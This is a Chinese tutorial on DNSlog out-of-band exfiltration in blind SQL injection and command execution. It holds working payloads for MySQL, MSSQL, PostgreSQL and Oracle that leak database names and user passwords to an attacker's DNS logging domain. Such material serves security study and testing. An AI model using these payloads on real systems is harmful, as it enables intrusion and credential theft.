天天看點

Dnslog在SQL注入中的利用

參考文獻: www.anquanke.com/post/id/98096 https://bbs.pediy.com/thread-223881.htm

DNSlog在Web攻擊的利用

在某些無法直接利用漏洞獲得回顯的情況下,但是目标可以發起DNS請求,這個時候就可以通過

DNSlog

把想獲得的資料外帶出來。

常用情況

SQL注入中的盲注

無回顯的指令執行

無回顯的SSRF

原理

Dnslog在SQL注入中的利用

1.jpg

攻擊者送出注入語句,讓資料庫把需要查詢的值和域名拼接起來,然後發生DNS查詢,隻要能獲得DNS的日志,就得到了想要的值。

1.指令執行

ping %USERNAME%.xxxxxx.ceye.io

Dnslog在SQL注入中的利用

1.png

2.MySQL

load_file

在MySQL中有個

load_file()

函數可以用來讀取本地的檔案,

load_file()

函數還可以用來發送dns解析請求

以SQLi-LABS 第五關為例:

payload:

?id=1' and if((select load_file(concat('\\\\',(select database()),'.xxxxxx.ceye.io\\abc'))),1,1)--+

Dnslog在SQL注入中的利用

?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'.xxxxxx.ceye.io\\abc'))),1,1)--+

Dnslog在SQL注入中的利用

2.png

concat()函數拼接了4個

\

了,因為轉義的原因,

\\\\

就變成了

\\

,目的就是利用

UNC路徑

UNC是一種命名慣例, 主要用于在Microsoft Windows上指定和映射網絡驅動器. UNC命名慣例最多被應用于在區域網路中通路檔案伺服器或者列印機。在Widnows中用共享檔案的時候就會用到這種網絡位址的形式

\\sss.xxx\test\

  • Linux沒有UNC路徑這個東西,當MySQL處于Linux系統中的時候,不能使用這種方式外帶資料的
Dnslog在SQL注入中的利用

3.msSQL

DECLARE @host varchar(1024);
SELECT @host=(SELECT master.dbo.fn_varbintohexstr(convert(varbinary,rtrim(pass))) 
FROM test.dbo.test_user where [USER] = 'admin')%2b'.cece.nk40ci.ceye.io';
EXEC('master..xp_dirtree "\'%2b@host%2b'\foobar$"');
           

4.postgreSQL

DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function() RETURNS VOID AS $$ DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN SELECT INTO query_result (select encode(pass::bytea,'hex') from test_user where id =1);
exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.pSQL.3.nk40ci.ceye.io\\\\foobar.txt\'';
   EXECUTE exec_cmd;
END;
$$ LANGUAGE plpgSQL SECURITY DEFINER;
SELECT temp_function();
           

5.SQL Server

存儲程式

master..xp_dirtree()

用于擷取所有檔案夾的清單和給定檔案夾内部的子檔案夾。

DECLARE @host varchar(1024);
注冊一個名為@host的變量,類型為varchar。
SELECT @host=CONVERT(varchar(1024),db_name())+'.xxxxxxxxx.ceye.io';
擷取db_name()然後轉換成varchar類型,然後吧擷取的db_name()傳回值拼接到dnslog平台給我們的子域名裡面,然後指派給@host變量。
EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');
列遠端主機的foobar$目錄,由于是遠端主機,是以會做一個dns解析,這樣我們的dns平台就能得到日志了
http://xxxx.com.cn/?Id=123';DECLARE @host varchar(1024);SELECT @host=CONVERT(varchar(1024),db_name())+'.xxxxxxxxx.ceye.io';EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');--
           

6.Oracle

UTL_HTTP.REQUEST
select name from test_user where id =1 union SELECT UTL_HTTP.REQUEST((select pass from test_user where id=1)||'.xxxxxx.ceye.io') FROM sys.DUAL;
DBMS_LDAP.INIT
select name from test_user where id =1 union SELECT DBMS_LDAP.INIT((select pass from test_user where id=1)||'.xxxxxx.ceye.io',80) FROM sys.DUAL;
HTTPURITYPE
select name from test_user where id =1 union SELECT HTTPURITYPE((select pass from test_user where id=1)||'.xx.xxxxxx.ceye.io').GETCLOB() FROM sys.DUAL;
UTL_INADDR.GET_HOST_ADDRESS
select name from test_user where id =1 union SELECT UTL_INADDR.GET_HOST_ADDRESS((select pass from test_user where id=1)||'.ddd.xxxxxx.ceye.io') FROM sys.DUAL;